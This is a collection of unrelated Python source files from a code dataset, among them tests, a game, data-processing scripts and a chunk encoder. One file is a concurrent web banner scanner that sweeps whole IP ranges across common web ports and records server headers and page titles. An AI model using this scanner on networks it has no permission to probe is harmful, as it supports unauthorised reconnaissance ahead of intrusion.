raise_overlap(self, *regions):\n reprs = []\n for region in regions:\n reprs.append('{!r} from {} to {}'.format(\n region,\n self.line_column(region.start),\n self.line_column(region.end)\n ))\n raise ValueError('{} overlaps {}'.format(*reprs))\n\n def add(self, region):\n if region.start < 0:\n raise ValueError('{!r} is before start of document'.format(region))\n if region.end > self.end:\n raise ValueError('{!r} goes beyond end of document'.format(region))\n entry = (region.start, region)\n index = bisect(self.regions, entry)\n if index > 0:\n previous = self.regions[index-1][1]\n if previous.end > region.start:\n self.raise_overlap(previous, region)\n if index < len(self.regions):\n next = self.regions[index][1]\n if next.start < region.end:\n self.raise_overlap(region, next)\n self.regions.insert(index, entry)\n\n def __iter__(self):\n line = 1\n place = 0\n for _, region in self.regions:\n line += self.text.count('\\n', place, region.start)\n line_start = self.text.rfind('\\n', place, region.start)\n place = region.start\n yield Example(self,\n line, region.start-line_start,\n region, self.namespace)\n\n def find_region_sources(self, start_pattern, end_pattern):\n \"\"\"\n This helper method can be called used to extract source text\n for regions based on the two :ref:`regular expressions `\n provided.\n \n It will yield a tuple of ``(start_match, end_match, source)`` for each \n occurrence of ``start_pattern`` in the document's \n :attr:`~Document.text` that is followed by an\n occurrence of ``end_pattern``.\n The matches will be provided as :ref:`match objects `,\n while the source is provided as a string.\n \"\"\"\n for start_match in re.finditer(start_pattern, self.text):\n source_start = start_match.end()\n end_match = end_pattern.search(self.text, source_start)\n source_end = end_match.start()\n source = self.text[source_start:source_end]\n yield start_match, end_match, source\n","sub_path":"sybil/document.py","file_name":"document.py","file_ext":"py","file_size_in_byte":3273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"158577868","text":"def main(): \n \n import random\n\n Roll = ['1','2','3','4','5','6']\n Input = input(\"Ready to Roll? Yes/No: \")\n if Input in ['y','Y','yes','Yes','YES']:\n print(random.choice(Roll))\n main()\n else:\n exit()\nmain()\n","sub_path":"PythonApplication1/src/Dice Rolling Simulator.py","file_name":"Dice Rolling Simulator.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"646758559","text":"#\n# @lc app=leetcode.cn id=125 lang=python3\n#\n# [125] 验证回文串\n#\n\n# @lc code=start\nclass Solution:\n def isPalindrome(self, s: str) -> bool:\n s=''.join(filter(str.isalnum,s)).lower()\n len_s=len(s)\n if len_s==0:\n return True\n l=0\n r=len_s-1\n while l<=r-1:\n if s[l]!=s[r]:\n return False\n l+=1\n r-=1\n return True\n# @lc code=end\n\n","sub_path":"125.验证回文串.py","file_name":"125.验证回文串.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"158128426","text":"#@author:shangzeng\nimport asyncio\nimport aiohttp\nimport netaddr\nimport base64\nimport time\nimport re\n\n\nclass WebBannerScanC(object):\n '''接受IP段并返回扫描信息,以数组形式返回'''\n def __init__(self,ip,ports):\n self.ip = ip\n self.ports = ports\n self.headers = {'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36'}\n self.timeout = 5\n self.tasks = []\n\n async def http_response(self,url): \n async with aiohttp.ClientSession() as session:\n try:\n async with session.get(url=url,headers=self.headers,timeout=self.timeout,verify_ssl=False) as response:\n if response: \n html = await response.text(encoding='utf-8') \n code = response.status\n header = response.headers['Server'][:20]\n title = re.findall(r'(.*)', html)\n return url,code,header,title\n except Exception as r:\n pass\n\n def web_c(self):\n ips = netaddr.IPNetwork(self.ip)\n for ip in ips:\n for port in self.ports:\n url = \"http://\"+str(ip)+\":\"+str(port)\n self.tasks.append(asyncio.ensure_future(self.http_response(url))) \n loop = asyncio.get_event_loop()\n result = loop.run_until_complete(asyncio.gather(*self.tasks)) \n return result\n\ndef ips():\n f = open('ip.txt', 'r')\n a = f.readlines()\n f.close()\n return a\n\n\n\nif __name__ == '__main__':\n print(base64.b64decode(\"ICAgICAgICAgICAgICBfICAgICAgIF8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICB8IHwgICAgIHwgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIApfXyAgICAgIF9fX19ffCB8X18gICB8IHxfXyAgIF9fIF8gXyBfXyAgXyBfXyAgIF9fXyBfIF9fICAgX19fICBfX18gX18gXyBfIF9fICAKXCBcIC9cIC8gLyBfIFwgJ18gXCAgfCAnXyBcIC8gX2AgfCAnXyBcfCAnXyBcIC8gXyBcICdfX3wgLyBfX3wvIF9fLyBfYCB8ICdfIFwgCiBcIFYgIFYgLyAgX18vIHxfKSB8IHwgfF8pIHwgKF98IHwgfCB8IHwgfCB8IHwgIF9fLyB8ICAgIFxfXyBcIChffCAoX3wgfCB8IHwgfAogIFxfL1xfLyBcX19ffF8uX18vICB8Xy5fXy8gXF9fLF98X3wgfF98X3wgfF98XF9fX3xffCAgICB8X19fL1xfX19cX18sX3xffCB8X3wKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA==\").decode(\"utf-8\"))\n time1 = time.time()\n port = [80,8080,81,8081,7001,8000,8088,8888,9090,8090,88,8001,82,9080]\n for ip in ips():\n ip = ip.strip(\"\\n\")\n test = WebBannerScanC(ip,port)\n result = test.web_c()\n for save in result:\n if save != None: \n with open('save.txt', mode='a', encoding='utf-8') as f:\n f.write(str(save)+\"\\n\")\n\n\n\n time2 = time.time()\n print(ip+\" 查询完成,目前共耗时\"+str(time2-time1))\n print(\"全部完成!\")\n\n","sub_path":"C段扫描/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"310529796","text":"import numpy as np\nfrom preprocessing import text_columns, float_columns\nfrom neural_network.data_iterators import WordVectorsContainer\n\n\nclass TestDataIterator(WordVectorsContainer):\n def __init__(self, data_frame, word_vectors_path):\n self.data_frame = data_frame\n self.word_to_idx = self._get_word_to_idx(word_vectors_path)\n self.idx_to_vector = self._get_idx_to_vector(word_vectors_path)\n self.word_vector_dim = len(self.idx_to_vector[0])\n\n def __iter__(self):\n for idx in self.data_frame.index:\n words_matrices = {}\n for column_name in text_columns:\n text = self.data_frame[column_name][idx]\n text = [word for word in text if word in self.word_to_idx]\n if text:\n matrix = np.empty(shape=(len(text), self.word_vector_dim), dtype=np.float32)\n else:\n matrix = np.zeros(shape=(1, self.word_vector_dim), dtype=np.float32)\n for row_idx, word in enumerate(text):\n matrix[row_idx] = self.idx_to_vector[self.word_to_idx[word]]\n words_matrices[column_name] = matrix\n float_scalars = {}\n for column_name in float_columns:\n float_scalars[column_name] = np.float32(self.data_frame[column_name][idx])\n yield words_matrices, float_scalars","sub_path":"neural_network/data_iterators/TestDataIterator.py","file_name":"TestDataIterator.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"202200985","text":"import json\nimport os\nimport re\n\nimport boto3\nimport pytest\n\nfrom test import test_utils\nfrom packaging.version import Version\n\n\n@pytest.mark.usefixtures(\"sagemaker\")\n@pytest.mark.integration(\"dlc_major_version_label\")\n@pytest.mark.model(\"N/A\")\ndef test_dlc_major_version_label(image, region):\n \"\"\"\n Test to ensure that all DLC images have the LABEL \"dlc_major_version\"\n\n :param image: Image URI\n :param region: region where ECR repository holding the image resides\n :return:\n \"\"\"\n ecr_client = boto3.client(\"ecr\", region_name=region)\n\n image_repository, image_tag = test_utils.get_repository_and_tag_from_image_uri(image)\n # Using \"acceptedMediaTypes\" on the batch_get_image request allows the returned image information to\n # provide the ECR Image Manifest in the specific format that we need, so that the image LABELS can be found\n # on the manifest. The default format does not return the image LABELs.\n response = ecr_client.batch_get_image(\n repositoryName=image_repository,\n imageIds=[{\"imageTag\": image_tag}],\n acceptedMediaTypes=[\"application/vnd.docker.distribution.manifest.v1+json\"],\n )\n if not response.get(\"images\"):\n raise KeyError(\n f\"Failed to get images through ecr_client.batch_get_image response for image {image_repository}:{image_tag}\"\n )\n elif not response[\"images\"][0].get(\"imageManifest\"):\n raise KeyError(f\"imageManifest not found in ecr_client.batch_get_image response:\\n{response['images']}\")\n\n manifest_str = response[\"images\"][0][\"imageManifest\"]\n # manifest_str is a json-format string\n manifest = json.loads(manifest_str)\n image_metadata = json.loads(manifest[\"history\"][0][\"v1Compatibility\"])\n major_version = image_metadata[\"config\"][\"Labels\"].get(\"dlc_major_version\", None)\n\n assert major_version, f\"{image} has no LABEL named 'dlc_major_version'. Please insert label.\"\n\n test_utils.LOGGER.info(f\"{image} has 'dlc_major_version' = {major_version}\")\n\n\n@pytest.mark.usefixtures(\"sagemaker\")\n@pytest.mark.integration(\"dlc_major_version_label\")\n@pytest.mark.model(\"N/A\")\ndef test_dlc_major_version_dockerfiles(image):\n \"\"\"\n Test to make sure semantic versioning scheme in Dockerfiles is correct\n\n :param image: ECR image URI\n \"\"\"\n dlc_dir = os.getcwd().split(f\"{os.sep}test{os.sep}\")[0]\n job_type = test_utils.get_job_type_from_image(image)\n framework, fw_version = test_utils.get_framework_and_version_from_tag(image)\n processor = test_utils.get_processor_from_image_uri(image)\n\n # Assign a string of numbers associated with python version in tag. Python major version is not sufficient to\n # define DLC major version\n python_major_minor_version = re.search(r\"-py(\\d{2,})\", image).group(1)\n\n root_dir = os.path.join(dlc_dir, framework, job_type, \"docker\")\n\n # Skip older FW versions that did not use this versioning scheme\n references = {\"tensorflow2\": \"2.2.0\", \"tensorflow1\": \"1.16.0\", \"mxnet\": \"1.7.0\", \"pytorch\": \"1.5.0\"}\n if test_utils.is_tf_version(\"1\", image):\n reference_fw = \"tensorflow1\"\n elif test_utils.is_tf_version(\"2\", image):\n reference_fw = \"tensorflow2\"\n else:\n reference_fw = framework\n if reference_fw in references and Version(fw_version) < Version(references[reference_fw]):\n pytest.skip(\n f\"Not enforcing new versioning scheme on old image {image}. \"\n f\"Started enforcing version scheme on the following: {references}\"\n )\n\n # Find all Dockerfile. for this framework/job_type's Major.Minor version\n dockerfiles = []\n fw_version_major_minor = re.match(r\"(\\d+\\.\\d+)\", fw_version).group(1)\n dockerfiles_of_interest = test_utils.get_expected_dockerfile_filename(processor, image)\n for root, dirnames, filenames in os.walk(root_dir):\n for filename in filenames:\n if filename == dockerfiles_of_interest:\n dockerfile_path = os.path.join(root_dir, root, filename)\n if \"example\" not in dockerfile_path and f\"{os.sep}{fw_version_major_minor}\" in dockerfile_path:\n dockerfiles.append(dockerfile_path)\n\n # For the collected dockerfiles above, note the DLC major versions in each Dockerfile if python version matches\n # the current image under test\n versions = {}\n dlc_label_regex = re.compile(r'LABEL dlc_major_version=\"(\\d+)\"')\n python_version_regex = re.compile(r\"ARG PYTHON_VERSION=(\\d+\\.\\d+)\")\n for dockerfile in dockerfiles:\n with open(dockerfile, \"r\") as df:\n dlc_version = None\n python_version = None\n for line in df:\n major_version_match = dlc_label_regex.match(line)\n python_version_match = python_version_regex.match(line)\n if major_version_match:\n dlc_version = int(major_version_match.group(1))\n elif python_version_match:\n python_version = python_version_match.group(1).replace(\".\", \"\")\n\n # Raise errors if dlc major version label and python version arg are not found in Dockerfile\n if not dlc_version:\n raise DLCMajorVersionLabelNotFound(f\"Cannot find dlc_major_version label in {dockerfile}\")\n if not python_version:\n raise DLCPythonVersionNotFound(f\"Cannot find PYTHON_VERSION arg in {dockerfile}\")\n if python_version == python_major_minor_version:\n versions[dockerfile] = dlc_version\n\n expected_versions = list(range(1, len(dockerfiles) + 1))\n actual_versions = sorted(versions.values())\n\n # Test case explicitly for TF2.3 gpu, since v1.0 is banned\n if (framework, fw_version_major_minor, processor, python_major_minor_version, job_type) == (\n \"tensorflow\",\n \"2.3\",\n \"gpu\",\n \"37\",\n \"training\",\n ):\n expected_versions = [v + 1 for v in expected_versions]\n assert 1 not in actual_versions, (\n f\"DLC v1.0 is deprecated in TF2.3 gpu containers, but found major version 1 \"\n f\"in one of the Dockerfiles. Please inspect {versions}\"\n )\n\n # Test case explicitly for PyTorch 1.6.0 training gpu, since v2.0 is banned\n if (framework, fw_version_major_minor, processor, python_major_minor_version, job_type) == (\n \"pytorch\",\n \"1.6\",\n \"gpu\",\n \"36\",\n \"training\",\n ):\n expected_versions = [v + 1 for v in expected_versions]\n expected_versions[0] = 1\n assert 2 not in actual_versions, (\n f\"DLC v2.0 is deprecated in PyTorch 1.6.0 gpu containers, but found major version 2 \"\n f\"in one of the Dockerfiles. Please inspect {versions}\"\n )\n\n # Note: If, for example, we find 3 dockerfiles with the same framework major/minor version, same processor,\n # and same python major/minor version, we will expect DLC major versions 1, 2, and 3. If an exception needs to be\n # made to this rule, please see the above handling of TF2.3 as an example.\n assert actual_versions == expected_versions, (\n f\"Found DLC major versions {actual_versions} but expected {expected_versions} for \"\n f\"{framework} {job_type} {processor}. Full version info: {versions}. Py version: {python_major_minor_version}\"\n )\n\n\nclass DLCMajorVersionLabelNotFound(Exception):\n pass\n\n\nclass DLCPythonVersionNotFound(Exception):\n pass\n","sub_path":"test/dlc_tests/sanity/test_dlc_labels.py","file_name":"test_dlc_labels.py","file_ext":"py","file_size_in_byte":7439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"391881636","text":"#!/usr/bin/env python3\n\n\"\"\"\nAutomatic system testing for NextCloudPi\n\nCopyleft 2018 by Ignacio Nunez Hernanz \nGPL licensed (see LICENSE file in repository root).\nUse at your own risk!\n\n ./system_tests.py [user@ip]\n\nMore at https://ownyourbits.com\n\"\"\"\n\npre_cmd = []\n\nimport sys\nimport getopt\nimport os\nimport signal\nfrom subprocess import run, getstatusoutput, PIPE\n\nprocesses_must_be_running = [\n 'apache2',\n 'cron',\n 'mariadb',\n 'php-fpm',\n 'postfix',\n 'redis-server',\n ]\n\nbinaries_must_be_installed = [\n 'jq',\n 'dialog',\n 'dnsmasq',\n 'git',\n 'letsencrypt',\n 'noip2',\n 'rsync',\n 'ssh',\n ]\n\nbinaries_no_docker = [\n 'btrfs',\n 'fail2ban-server',\n 'udiskie',\n 'ufw',\n 'samba',\n ]\n\nfiles_must_exist = [\n '/usr/local/etc/ncp-version',\n ]\n\nfiles_must_not_exist = [\n '/.ncp-image',\n ]\n\n\nclass tc:\n \"terminal colors\"\n brown='\\033[33m'\n yellow='\\033[33;1m'\n green='\\033[32m'\n red='\\033[31m'\n normal='\\033[0m'\n\n\ndef usage():\n \"Print usage\"\n print(\"usage: system_tests.py [user@ip]\")\n\n\ndef is_running(process):\n \"check that a process is running\"\n print(\"[running] \" + tc.brown + \"{:16}\".format(process) + tc.normal, end=' ')\n result = run(pre_cmd + ['pgrep', '-cf', process], stdout=PIPE, stderr=PIPE)\n if result.returncode == 0:\n print(tc.green + \"ok\" + tc.normal)\n else:\n print(tc.red + \"error\" + tc.normal)\n return result.returncode == 0\n\n\ndef file_exists(file):\n \"check that a file exists\"\n print(\"[exists ] \" + tc.brown + \"{:16}\".format(file) + tc.normal, end=' ')\n result = run(pre_cmd + ['test', '-f', file], stdout=PIPE, stderr=PIPE)\n if result.returncode == 0:\n print(tc.green + \"ok\" + tc.normal)\n else:\n print(tc.red + \"error\" + tc.normal)\n return result.returncode == 0\n\n\ndef file_not_exists(file):\n \"check that a file doesn't exist\"\n print(\"[nexists] \" + tc.brown + \"{:16}\".format(file) + tc.normal, end=' ')\n result = run(pre_cmd + ['test', '-f', file], stdout=PIPE, stderr=PIPE)\n if result.returncode != 0:\n print(tc.green + \"ok\" + tc.normal)\n else:\n print(tc.red + \"error\" + tc.normal)\n return result.returncode == 0\n\n\ndef check_processes_running(processes):\n \"check that all processes are running\"\n ret = True\n for process in processes:\n if not is_running(process):\n ret = False\n return ret\n\n\ndef is_installed(binary):\n \"check that a binary is installed\"\n print(\"[install] \" + tc.brown + \"{:16}\".format(binary) + tc.normal, end=' ')\n result = run(pre_cmd + ['sudo', 'which', binary], stdout=PIPE, stderr=PIPE)\n if result.returncode == 0:\n print(tc.green + \"ok\" + tc.normal)\n else:\n print(tc.red + \"error\" + tc.normal)\n return result.returncode == 0\n\n\ndef check_binaries_installed(binaries):\n \"check that all the binaries are installed\"\n ret = True\n for binary in binaries:\n if not is_installed(binary):\n ret = False\n return ret\n\n\ndef check_files_exist(files):\n \"check that all the files exist\"\n ret = True\n for file in files:\n if not file_exists(file):\n ret = False\n return ret\n\n\ndef check_files_dont_exist(files):\n \"check that all the files don't exist\"\n ret = True\n for file in files:\n if file_not_exists(file):\n ret = False\n return ret\n\n\ndef check_notify_push():\n \"check that notify_push is installed and set up\"\n result = run(pre_cmd + ['ncc', 'notify_push:self-test'], stdout=PIPE, stderr=PIPE)\n\n print(\"[push ] \" + tc.brown + \"notify_push self-test\" + tc.normal, end=' ')\n if result.returncode == 0:\n print(tc.green + \"ok\" + tc.normal)\n return True\n else:\n print(tc.red + \"error\" + tc.normal)\n print(result.stderr)\n print(result.stdout)\n return False\n\ndef is_lxc():\n \"check that we are running inside a LXC container\"\n (exitcode, output) = getstatusoutput('grep -q container=lxc /proc/1/environ')\n return exitcode == 0\n\ndef signal_handler(sig, frame):\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n\n signal.signal(signal.SIGINT, signal_handler)\n\n # parse options\n try:\n opts, args = getopt.getopt(sys.argv[1:], 'h', ['help', 'no-ping', 'non-interactive'])\n except getopt.GetoptError:\n usage()\n sys.exit(2)\n\n skip_ping = False\n interactive = True\n for opt, arg in opts:\n if opt in ('-h', '--help'):\n usage()\n sys.exit(2)\n elif opt == '--no-ping':\n skip_ping = True\n elif opt == '--non-interactive':\n interactive = False\n else:\n usage()\n sys.exit(2)\n\n # parse arguments\n ssh_cmd = \"ssh root@nextcloudpi.local\"\n if len(args) > 0:\n if '@' in args[0]:\n ssh_cmd = \"ssh \" + args[0]\n else:\n print(tc.brown + \"* Ignoring invalid SSH argument \" + tc.yellow + args[0] + tc.normal)\n args = []\n\n # detect if we are running this in a NCP instance\n try:\n dockers_running = run(['docker', 'ps', '--format', '{{.Names}}'], stdout=PIPE).stdout.decode('utf-8')\n except:\n dockers_running = ''\n\n # detect if we are running this in a LXC instance\n try:\n lxc_running = run(['lxc', 'info', 'ncp'], stdout=PIPE, check = True)\n except:\n lxc_running = False\n\n try:\n systemd_container_running = run(['machinectl', 'show', 'ncp'], stdout=PIPE, check = True)\n except:\n systemd_container_running = False\n\n\n # local method\n if os.path.exists('/usr/local/etc/ncp-baseimage'):\n print(tc.brown + \"* local NCP instance detected\" + tc.normal)\n if not is_lxc():\n binaries_must_be_installed = binaries_must_be_installed + binaries_no_docker\n pre_cmd = []\n\n # docker method\n elif 'nextcloudpi' in dockers_running:\n print( tc.brown + \"* local NCP docker instance detected\" + tc.normal)\n pre_cmd = ['docker', 'exec']\n if interactive:\n pre_cmd.append('-ti')\n pre_cmd.append('nextcloudpi')\n\n # LXC method\n elif lxc_running:\n print( tc.brown + \"* local LXC instance detected\" + tc.normal)\n pre_cmd = ['lxc', 'exec', 'ncp', '--']\n\n elif systemd_container_running:\n pre_cmd = ['systemd-run', '--wait', '-P', '--machine=ncp']\n\n # SSH method\n else:\n if len(args) == 0:\n print( tc.brown + \"* No local NCP instance detected, trying SSH with \" +\n tc.yellow + ssh_cmd + tc.normal + \"...\")\n binaries_must_be_installed = binaries_must_be_installed + binaries_no_docker\n pre_cmd = ['ssh', '-o UserKnownHostsFile=/dev/null' , '-o PasswordAuthentication=no',\n '-o StrictHostKeyChecking=no', '-o ConnectTimeout=1', ssh_cmd[4:]]\n\n if not skip_ping:\n at_char = ssh_cmd.index('@')\n ip = ssh_cmd[at_char+1:]\n ping_cmd = run(['ping', '-c1', '-w10', ip], stdout=PIPE, stderr=PIPE)\n if ping_cmd.returncode != 0:\n print(tc.red + \"No connectivity to \" + tc.yellow + ip + tc.normal)\n #sys.exit(1)\n\n ssh_test = run(pre_cmd + [':'], stdout=PIPE, stderr=PIPE)\n if ssh_test.returncode != 0:\n ssh_copy = run(['ssh-copy-id', ssh_cmd[4:]], stderr=PIPE)\n if ssh_copy.returncode != 0:\n print(tc.red + \"SSH connection failed\" + tc.normal)\n sys.exit(1)\n\n print(pre_cmd)\n # checks\n print(\"\\nNextCloudPi system checks\")\n print(\"-------------------------\")\n running_result = check_processes_running(processes_must_be_running)\n install_result = check_binaries_installed(binaries_must_be_installed)\n files1_result = check_files_exist(files_must_exist)\n files2_result = check_files_dont_exist(files_must_not_exist)\n notify_push_result = check_notify_push()\n\n if running_result and install_result and files1_result and files2_result and notify_push_result:\n sys.exit(0)\n else:\n sys.exit(1)\n\n# License\n#\n# This script is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This script is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this script; if not, write to the\n","sub_path":"tests/system_tests.py","file_name":"system_tests.py","file_ext":"py","file_size_in_byte":8832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"112197430","text":"#!/usr/bin/env python2\n\nimport sys\nimport struct\nfrom datetime import datetime\noffset = 8\npng_count = 0\n# You can use this method to exit on failure conditions.\ndef bork(msg):\n sys.exit(msg)\n\n\n# Some constants. You shouldn't need to change these.\nMAGIC = 0x8BADF00D\nVERSION = 1\n\nif len(sys.argv) < 2:\n sys.exit(\"Usage: python stub.py input_file.fpff\")\n\n# Normally we'd parse a stream to save memory, but the FPFF files in this\n# assignment are relatively small.\nwith open(sys.argv[1], 'rb') as fpff:\n data = fpff.read()\n\n# Hint: struct.unpack will be VERY useful.\n# Hint: you might find it easier to use an index/offset variable than\n# hardcoding ranges like 0:8\nmagic, version = struct.unpack(\" WIDTH - 55:\n player_x = WIDTH - 55\n\n\n #zombie\n for index in range(len(zombie_y)):\n zombie_y[index] -= 5\n if zombie_y[index] < 0:\n zombie_y[index] = random.randrange(HEIGHT + 25, HEIGHT + 250, 70)\n zombie_x[index] = random.randrange(15, WIDTH - 25, 40)\n\n\n\ndef on_draw():\n arcade.start_render()\n # Draw in here...\n global player_x, player_y, zombie_x, zombie_y, zombie_w, zombie_h, hit\n\n if current_screen == \"menu\":\n arcade.draw_text(\"DODGE ZOMBIES\", 25, HEIGHT-100,arcade.color.BLACK,36,2000,\"Right\", \"Calibri\",True)\n arcade.draw_text(\"Press Space to play\",WIDTH/3,HEIGHT/3,arcade.color.BLACK)\n arcade.draw_text(\"ESC to return to menu\",WIDTH/3,HEIGHT/3.5,arcade.color.BLACK)\n arcade.draw_text(\"How to Play(a)\", WIDTH/3, HEIGHT/2,arcade.color.BLACK)\n\n arcade.set_background_color(arcade.color.LIGHT_MOSS_GREEN)\n\n if current_screen == \"instructions\":\n arcade.draw_text(\"\"\" \n 1. Use left and right arrow keys to move the player.\n 2. Your objective is to get as far as you can without dying.\n 3. Each time you hit a zombie you lose 10 health\n 4. Once your health reaches zero, you lose.\n \"\"\", 0, HEIGHT-HEIGHT/3,arcade.color.BLACK)\n\n arcade.set_background_color(arcade.color.PINK_PEARL)\n\n if current_screen == \"play\":\n arcade.set_background_color(arcade.color.ASH_GREY)\n\n arcade.draw_xywh_rectangle_filled(player_x, player_y, 40,40, arcade.color.RED)\n\n for x,y in zip(zombie_x,zombie_y):\n draw_zombie(x,y,zombie_w,zombie_h)\n\n\ndef on_key_press(key, modifiers):\n global left_key, right_key, up_key, down_key, current_screen\n\n if current_screen == \"menu\":\n if key == arcade.key.A:\n current_screen = \"instructions\"\n if key == arcade.key.SPACE:\n current_screen = \"play\"\n\n if current_screen == \"instructions\":\n if key == arcade.key.ESCAPE:\n current_screen = \"menu\"\n\n if current_screen == \"play\":\n if key == arcade.key.ESCAPE:\n current_screen = \"menu\"\n\n if key == arcade.key.LEFT:\n left_key = True\n elif key == arcade.key.RIGHT:\n right_key = True\n\n\n\ndef on_key_release(key, modifiers):\n global left_key, right_key, up_key, down_key\n\n if current_screen == \"play\":\n\n if key == arcade.key.LEFT:\n left_key = False\n elif key == arcade.key.RIGHT:\n right_key = False\n\n\ndef on_mouse_press(x, y, button, modifiers):\n pass\n\ndef draw_zombie(x,y,w,h):\n # x = 320\n # y = 240\n # w = 30\n # h = 80\n\n arcade.draw_xywh_rectangle_filled(x, y, w, h/8*3, arcade.color.MOSS_GREEN)\n arcade.draw_xywh_rectangle_filled(x, y-40, w, h/2, arcade.color.SAND)\n arcade.draw_xywh_rectangle_filled(x, y-50, w-20, h/8, arcade.color.MOSS_GREEN)\n arcade.draw_xywh_rectangle_filled(x+20, y-50, w-20, h/8, arcade.color.MOSS_GREEN)\n\nif __name__ == '__main__':\n setup()\n","sub_path":"dev/cpt_edits.py","file_name":"cpt_edits.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"630391191","text":"\ndef corpus2char(source, target, batch=30000):\n txts = []\n with open(source, 'r') as f:\n for line in f:\n txts.append(' '.join(line))\n\n if len(txts) % batch == 0:\n with open(target, 'a+') as w:\n for txt in txts:\n w.write(txt)\n txts = []\n\nif __name__ == '__main__':\n import time\n start = time.time()\n corpus2char('data/news_processed.txt', 'data/news_char.txt')\n print('Text to char cost: {} secs'.format(time.time() - start))","sub_path":"corpus2char.py","file_name":"corpus2char.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"242106470","text":"#! /usr/bin/env python3\n#\n# Copyright (c) 2016, 2017, Forschungszentrum Juelich GmbH\n# Author: Yann Leprince \n#\n# This software is made available under the MIT licence, see LICENCE.txt.\n\nimport functools\nimport gzip\nimport json\nimport os\nimport os.path\nimport struct\nimport sys\n\nimport numpy as np\n\n\nCHUNK_PATTERN = \"{key}/{0}-{1}/{2}-{3}/{4}-{5}\"\n\n\ndef make_seg_chunks(info, scale_index, raw_chunks_dir):\n \"\"\"Convert chunks to compressed segmentation format for a specific scale\"\"\"\n\n with open(os.path.join(raw_chunks_dir, \"info\")) as f:\n input_info = json.load(f)\n input_dtype = np.dtype(input_info[\"data_type\"]).newbyteorder(\"<\")\n\n if info[\"data_type\"] != \"uint32\" and info[\"data_type\"] != \"uint64\":\n raise ValueError(\"compressed segmentation format can only encode\"\n \" uint32 or uint64 data_type\")\n dtype = np.dtype(info[\"data_type\"]).newbyteorder(\"<\")\n num_channels = info[\"num_channels\"]\n scale_info = info[\"scales\"][scale_index]\n key = scale_info[\"key\"]\n size = scale_info[\"size\"]\n assert scale_info[\"encoding\"] == \"compressed_segmentation\"\n block_size = scale_info[\"compressed_segmentation_block_size\"]\n\n for chunk_size in scale_info[\"chunk_sizes\"]:\n for x_idx in range((size[0] - 1) // chunk_size[0] + 1):\n for y_idx in range((size[1] - 1) // chunk_size[1] + 1):\n for z_idx in range((size[2] - 1) // chunk_size[2] + 1):\n xmin = chunk_size[0] * x_idx\n xmax = min(chunk_size[0] * (x_idx + 1), size[0])\n ymin = chunk_size[1] * y_idx\n ymax = min(chunk_size[1] * (y_idx + 1), size[1])\n zmin = chunk_size[2] * z_idx\n zmax = min(chunk_size[2] * (z_idx + 1), size[2])\n raw_chunk_filename = os.path.join(\n raw_chunks_dir, CHUNK_PATTERN.format(\n xmin, xmax, ymin, ymax, zmin, zmax, key=key))\n shape = (num_channels,\n zmax - zmin, ymax - ymin, xmax - xmin)\n try:\n f = open(raw_chunk_filename, \"rb\")\n except OSError:\n f = gzip.open(raw_chunk_filename + \".gz\", \"rb\")\n with f:\n chunk = (np.frombuffer(f.read(), dtype=input_dtype)\n .reshape(shape).astype(dtype))\n\n # Construct file in memory step by step\n buf = bytearray(4 * num_channels)\n\n for channel in range(num_channels):\n # Write offset of the current channel into the header\n assert len(buf) % 4 == 0\n struct.pack_into(\"= elements:\n return bits\n raise ValueError(\"Too many elements!\")\n\ndef pack_encoded_values(encoded_values, bits):\n # TODO optimize with np.packbits for bits == 1\n if bits == 0:\n return bytes()\n else:\n values_per_32bit = 32 // bits\n assert np.all(encoded_values == encoded_values & ((1 << bits) - 1))\n padded_values = np.empty(\n (values_per_32bit * (len(encoded_values) - 1)\n // values_per_32bit + 1),\n dtype=\"= win:\n sum -= data[i-win]\n len -= 1\n av = sum/len\n avs.append(av)\n ubs, lbs = envelope(np.arange(i+1), data)\n ax.plot(range(i+1), avs, color, label=label)\n ax.fill_between(range(i+1), lbs, ubs, facecolor=color, alpha=0.3, interpolate=True)\n\ndef plot_residue(ax, data_info):\n\n \"\"\"\n Input:\n ax: ax\n error: a list, each element is also a list containing errors of all the players\n \"\"\"\n\n e_p1, e_p2, e_e = [], [], []\n with open(data_info['file'], 'r') as f:\n readings = csv.reader(f)\n for rd in readings:\n e_p1.append(float(rd[0]))\n e_p2.append(float(rd[1]))\n e_e.append(float(rd[2]))\n\n plot_with_ave(ax, e_p1, 'b', 'D1')\n plot_with_ave(ax, e_p2, 'g', 'D2')\n plot_with_ave(ax, e_e, 'r', 'I')\n\n ax.set_ybound(lower=data_info['lbound'], upper=data_info['ubound'])\n ax.set_xlabel(data_info['label'][0])\n ax.set_ylabel(data_info['label'][1])\n ax.set_title(data_info['title'])\n 